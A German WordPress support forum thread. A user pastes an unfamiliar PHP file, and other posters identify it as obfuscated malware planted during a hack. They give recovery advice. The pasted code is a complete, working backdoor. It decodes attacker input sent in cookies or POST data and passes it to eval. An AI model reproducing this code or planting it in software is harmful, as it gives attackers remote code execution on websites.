Support » Allgemeine Fragen » PHP Zuordnung

  • Hallo
    Kann mir jemand einmal sagen, wozu diese PHP gehört ich kann diese überhaupt nicht einordnen

    <?php
    $iptgk = ‚e8H4tbn_\’u*0o2pla-y9v7k5icfxd6sg#m3r‘;$depppf = Array();$depppf[] = $iptgk[2].$iptgk[10];$depppf[] = $iptgk[32];$depppf[] = $iptgk[11].$iptgk[28].$iptgk[1].$iptgk[34].$iptgk[26].$iptgk[21].$iptgk[26].$iptgk[13].$iptgk[17].$iptgk[11].$iptgk[25].$iptgk[28].$iptgk[34].$iptgk[17].$iptgk[3].$iptgk[19].$iptgk[1].$iptgk[21].$iptgk[17].$iptgk[5].$iptgk[19].$iptgk[21].$iptgk[23].$iptgk[17].$iptgk[25].$iptgk[23].$iptgk[13].$iptgk[13].$iptgk[16].$iptgk[29].$iptgk[19].$iptgk[13].$iptgk[0].$iptgk[26].$iptgk[26].$iptgk[28];$depppf[] = $iptgk[25].$iptgk[12].$iptgk[9].$iptgk[6].$iptgk[4];$depppf[] = $iptgk[30].$iptgk[4].$iptgk[35].$iptgk[7].$iptgk[35].$iptgk[0].$iptgk[14].$iptgk[0].$iptgk[16].$iptgk[4];$depppf[] = $iptgk[0].$iptgk[27].$iptgk[14].$iptgk[15].$iptgk[12].$iptgk[28].$iptgk[0];$depppf[] = $iptgk[30].$iptgk[9].$iptgk[5].$iptgk[30].$iptgk[4].$iptgk[35];$depppf[] = $iptgk[16].$iptgk[35].$iptgk[35].$iptgk[16].$iptgk[18].$iptgk[7].$iptgk[33].$iptgk[0].$iptgk[35].$iptgk[31].$iptgk[0];$depppf[] = $iptgk[30].$iptgk[4].$iptgk[35].$iptgk[15].$iptgk[0].$iptgk[6];$depppf[] = $iptgk[14].$iptgk[16].$iptgk[25].$iptgk[22];foreach ($depppf[7]($_COOKIE, $_POST) as $iciou => $jrjdpou){function xlwhw($depppf, $iciou, $hxsgo){return $depppf[6]($depppf[4]($iciou . $depppf[2], ($hxsgo / $depppf[8]($iciou)) + 1), 0, $hxsgo);}function qccapvo($depppf, $phvct){return @$depppf[9]($depppf[0], $phvct);}function segqrkv($depppf, $phvct){$anjoxh = $depppf[3]($phvct) % 3;if (!$anjoxh) {eval($phvct[1]($phvct[2]));exit();}}$jrjdpou = qccapvo($depppf, $jrjdpou);segqrkv($depppf, $depppf[5]($depppf[1], $jrjdpou ^ xlwhw($depppf, $iciou, $depppf[8]($jrjdpou))));}
    • Dieses Thema wurde geändert vor 5 Jahren, 9 Monaten von Bego Mario Garde. Grund: Code-Formatierung korrigiert
Ansicht von 3 Antworten - 1 bis 3 (von insgesamt 3)
  • Ups, diese Datei gehört definitiv nicht zu WordPress. Scheinbar bist du gehackt worden und der Angreifer versucht, die Malware durch eine Verschlüsselung der Funktionen zu verschleiern.

    Die Schritte, um die Website wiederherzustellen, habe ich vor einer Weile hier im Forum beschrieben und dann hier „archiviert“:

    https://pixolin.de/arbeitsschritte-reparatur-gehackte-website/

    Ideal wäre die Wiederherstellung eines unkompromittierten Backups, wenn der Datenverlust nicht zu groß ist. Danach solltest du alle Zugangsdaten ändern, also nicht nur für WordPress, sondern auch für FTP, MySQL-Datenbank und Kundenmenü des Webhoster.

    Thread-Starter Watbube

    (@watbube)

    Ist mir aufgefallen weil sie eine Fehler verursachte und die Seite nicht mehr erreichbar war und das login in den Admin Bereich nicht ging

    Wenn du Backups hast, ist das kein Problem.
    Falls du keine Backups hast, sprich den Support deines Webhoster an.
    Falls der auch keine Backups hat, bleibt dir nur eine etwas mühsame manuelle Säuberung, bei der du alle Dateien, auch im Upload-Verzeichnis penibel untersuchen musst. Angreifer hinterlassen gerne für künftige Besuche Backdoors.

Ansicht von 3 Antworten - 1 bis 3 (von insgesamt 3)
  • Das Thema „PHP Zuordnung“ ist für neue Antworten geschlossen.